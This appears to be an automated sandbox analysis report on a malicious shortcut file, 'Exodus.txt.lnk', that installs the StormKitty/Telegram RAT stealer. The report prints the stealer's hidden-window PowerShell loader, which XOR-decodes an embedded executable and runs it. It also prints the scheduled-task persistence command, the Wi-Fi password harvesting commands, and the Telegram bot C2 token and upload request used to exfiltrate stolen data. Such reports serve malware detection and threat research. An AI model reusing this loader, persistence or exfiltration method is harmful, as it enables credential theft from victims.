Edit tour

Windows Analysis Report
Exodus.txt.lnk

Overview

General Information

Sample name:	Exodus.txt.lnk
Analysis ID:	1589032
MD5:	dbf4819fd016c532db4313b9748ed879
SHA1:	a5f3818adc3eb97b658f62c1144cbd2add8d5528
SHA256:	2932dfc97050720a10f6b41f2c765d6200c64ed418a7058126965e827953323d
Tags:	lnkuser-abuse_ch
Infos:

Detection

StormKitty

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected StormKitty Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious ZIP file

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Obfuscated command line found

Powershell creates an autostart link

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious desktop.ini Action

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2508 cmdline: "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00012126} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path; MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6176 cmdline: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path; MD5: 04029E121A0CFA5991749937DD22A1D9)

tmp1201676045.exe (PID: 5268 cmdline: "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe" MD5: A7D234000C0F4FDE1266602EEBC0FC1C)

schtasks.exe (PID: 4464 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2252,i,9030192651721464154,16366831422283657201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 2964 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2072 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5 MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 2300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7900 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7948 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 7992 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 8008 cmdline: findstr All MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 8128 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8168 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 8184 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 1848 cmdline: "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7916 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

taskkill.exe (PID: 1976 cmdline: TaskKill /F /IM 5268 MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

timeout.exe (PID: 7992 cmdline: Timeout /T 2 /Nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 4676 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

tmp1201676045.exe (PID: 7696 cmdline: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe MD5: A7D234000C0F4FDE1266602EEBC0FC1C)

schtasks.exe (PID: 8012 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 8144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1984,i,4100706222337761763,17531368558557990914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 7592 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 674, "from": {"id": 7033932802, "is_bot": true, "first_name": "d00mer", "username": "d00m3rz_bot"}, "chat": {"id": 1126217452, "first_name": "N3cro", "last_name": "M4ncer", "username": "N3croM4nc", "type": "private"}, "date": 1736581323, "document": {"file_name": "9D932ED301.zip.bin", "mime_type": "application/octet-stream", "file_id": "BQACAgQAAxkDAAIComeCIMuiQSd-O__DuIvRQmjt_ct8AAJtFgACamcQUCHX_cggrqtVNgQ", "file_unique_id": "AgADbRYAAmpnEFA", "file_size": 189856}}}]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Exodus.txt.lnk	downloader_kimsuky_lnk	Detect Kimsuky LNK	Sekoia.io	0x4c:$: AType: Text Document 0x76:$: Size: 5.23 KB 0x92:$: Date modified: 01/02/2020 11:23

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x5c6b4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x5f364:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: tmp1201676045.exe PID: 5268	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: tmp1201676045.exe PID: 5268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: tmp1201676045.exe PID: 5268	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: tmp1201676045.exe PID: 5268	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x272a2:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2861c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2866c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, CommandLine: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00012126} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, ProcessId: 6176, ProcessName: powershell.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe", ParentImage: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe, ParentProcessId: 5268, ParentProcessName: tmp1201676045.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5, ProcessId: 2072, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe, ProcessId: 5268, TargetFilename: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, CommandLine: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00012126} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;, ProcessId: 6176, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4676, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\tmp1201676045.exe", ParentImage: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe, ParentProcessId: 5268, ParentProcessName: tmp1201676045.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 7900, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:42:02.431402+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49724	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Exodus.txt.lnk

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Avira: detection malicious, Label: HEUR/AGEN.1313362

Found malware configuration

Source: tmp1201676045.exe.5268.4.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 674, "from": {"id": 7033932802, "is_bot": true, "first_name": "d00mer", "username": "d00m3rz_bot"}, "chat": {"id": 1126217452, "first_name": "N3cro", "last_name": "M4ncer", "username": "N3croM4nc", "type": "private"}, "date": 1736581323, "document": {"file_name": "9D932ED301.zip.bin", "mime_type": "application/octet-stream", "file_id": "BQACAgQAAxkDAAIComeCIMuiQSd-O__DuIvRQmjt_ct8AAJtFgACamcQUCHX_cggrqtVNgQ", "file_unique_id": "AgADbRYAAmpnEFA", "file_size": 189856}}}]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: Exodus.txt.lnk	ReversingLabs: Detection: 55%
Source: Exodus.txt.lnk	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Exodus.txt.lnk

Joe Sandbox ML: detected

Source: file:///C:/Users/user/AppData/Local/Temp/p.html

HTTP Parser: No favicon

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49724 version: TLS 1.2

Source:	Binary string: winload_prod.pdb source: Temp.txt.4.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.4.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.4.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.4.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49724 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.5:59190 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:64913 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendDocument?chat_id=1126217452 HTTP/1.1Content-Type: multipart/form-data; boundary="5e6f3de5-9dbc-42c8-978a-01d8ad9e017a"Host: api.telegram.orgContent-Length: 190055Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /XtfcshEgt/upwawsfrg.php?zd=1 HTTP/1.1Cookie: SESSION=Gcj+h98EbIpiEEEi3hoB0+vAL9nowD1t+Mk69sQz+82rTgB01+DlIetdQvoEbO+iMyqLYrt29vtIjLtyKN2duhsKwFI97DwnfBfo13W20KSQ9caE0kAuGXwreH771RqNHNmbRM0y60QLnmT9pMrp3c0FhSBQRDuNV3sGdF7mdCxarHDX8BCOX4OjVygMl1phDoC6SPlB/+sIqxLAaVDdnWVGAUGjhjZlTg3mPga+hlrXa27ZLNjP8Eifjk6AL3+28IVLfb5VXklN9NHBv5JehJAwTnVk9afSwGZfw29QgAjx82lWT7LbojoheSYe89Xc6F6nQyzWVdp8Qxn1XqPLROP8cDqCQMmfH9Eij5vei8oZIt8PoXrHiXoeUser-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0Host: 128.199.113.162
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: URL:https://www.facebook.com/<br> equals www.facebook.com (Facebook)
